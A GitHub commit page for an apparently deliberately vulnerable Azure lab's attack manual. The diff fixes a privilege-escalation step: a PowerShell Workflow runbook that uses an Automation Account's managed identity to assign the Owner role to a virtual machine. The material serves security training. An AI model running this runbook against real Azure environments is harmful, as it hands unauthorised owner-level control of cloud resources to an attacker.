Skip to content

Commit

Permalink
Merge pull request #22 from prnjl117/master
Browse files Browse the repository at this point in the history
Add escalation issue fix
  • Loading branch information
nishantsharmax authored Oct 30, 2024
2 parents 0ef355b + 1892976 commit b970459
Showing 1 changed file with 8 additions and 7 deletions.
15 changes: 8 additions & 7 deletions attack-manuals/module-1/05-Privilege Escalation.md
Original file line number Diff line number Diff line change
Expand Up @@ -89,20 +89,21 @@ We found a PowerShellWorkFlow based runbook.
This code will assign the **Owner** role to the Virtual Machine.

```
workflow Get-AzureVM
{
Disable-AzContextAutosave -Scope Process
$AzureContext = (Connect-Azaccount -Identity -AccountId <Identity-Client-ID>).context
$AzureContext = Set-AzContext -SubscriptionName $AzureContext.Subscription -DefaultProfile $AzureContext
New-AzRoleAssignment -RoleDefinitionName "Owner" -ObjectId <VM-Object-ID> -resourceGroupName <ResourceGroup Name>
workflow Get-AzureVM {
inlineScript {
Disable-AzContextAutosave -Scope Process
$AzureContext = (Connect-Azaccount -Identity -AccountId <Identity-Client-ID>).context
$AzureContext = Set-AzContext -SubscriptionName $AzureContext.Subscription -DefaultProfile $AzureContext
New-AzRoleAssignment -RoleDefinitionName "Owner" -ObjectId <VM-Object-ID> -resourceGroupName <ResourceGroup Name>
}
}
```
Please update the following placeholders with the appropriate values:
- Replace `<Identity-Client-ID>` with the Client ID of your Automation Account.
- Replace `<VM-Object-ID>` with the Principal ID of your Virtual Machine.
- Replace `<ResourceGroup Name>` with the name of your Resource Group.

![](https://user-images.githubusercontent.com/42687376/223097159-55fe76c7-bfcb-457f-9cb7-a56514e96681.png)
![](https://github.com/user-attachments/assets/de0b1df4-6153-4392-997b-a450f872cb9e)

**Step 8:** Replace, publish and re-start the runbook.

Expand Down

0 comments on commit b970459

Please sign in to comment.